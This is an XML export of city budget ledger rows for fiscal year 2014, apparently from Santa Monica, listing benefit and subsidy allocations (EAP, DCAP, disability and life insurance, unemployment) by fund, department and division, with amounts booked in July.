<row _id="5858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555940.0</object><object_description>GRAD NIGHT SUBSIDY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8752.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8752.0</total></row>
<row _id="5859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2434.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2434.0</total></row>
<row _id="5860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="5861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2496.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2496.0</total></row>
<row _id="5862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3379.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3379.0</total></row>
<row _id="5863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1647.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1647.0</total></row>
<row _id="5864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16749.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16749.0</total></row>
<row _id="5867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115944.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115944.0</total></row>
<row _id="5868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7920.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7920.0</total></row>
<row _id="5869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1352.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1352.0</total></row>
<row _id="5870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15957.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15957.0</total></row>
<row _id="5871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8248.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8248.0</total></row>
<row _id="5872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2848.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2848.0</total></row>
<row _id="5873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1536.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1536.0</total></row>
<row _id="5874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3075.0</total></row>
<row _id="5875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4562.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4562.0</total></row>
<row _id="5876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16961.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16961.0</total></row>
<row _id="5877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17609.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17609.0</total></row>
<row _id="5878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30267.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30267.0</total></row>
<row _id="5879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>293346.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>293346.0</total></row>
<row _id="5880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>726.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="5881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="5882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1470.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1470.0</total></row>
<row _id="5883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2448.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2448.0</total></row>
<row _id="5884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3645.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3645.0</total></row>
<row _id="5885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4918.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4918.0</total></row>
<row _id="5886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2764.0</total></row>
<row _id="5887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72760.0</total></row>
<row _id="5888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1353.0</total></row>
<row _id="5889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4668.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4668.0</total></row>
<row _id="5890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5688.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5688.0</total></row>
<row _id="5891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>40481.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40481.0</total></row>
<row _id="5892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>731.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>731.0</total></row>
<row _id="5893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>805.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>805.0</total></row>
<row _id="5894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2279.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2279.0</total></row>
<row _id="5895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1091.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1091.0</total></row>
<row _id="5896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3799.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3799.0</total></row>
<row _id="5897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6919.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6919.0</total></row>
<row _id="5898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1762.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1762.0</total></row>
<row _id="5899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3216.0</total></row>
<row _id="5900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1879.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1879.0</total></row>
<row _id="5901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11025.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11025.0</total></row>
<row _id="5902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2171.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2171.0</total></row>
<row _id="5903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="5904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2810.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2810.0</total></row>
<row _id="5905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3760.0</total></row>
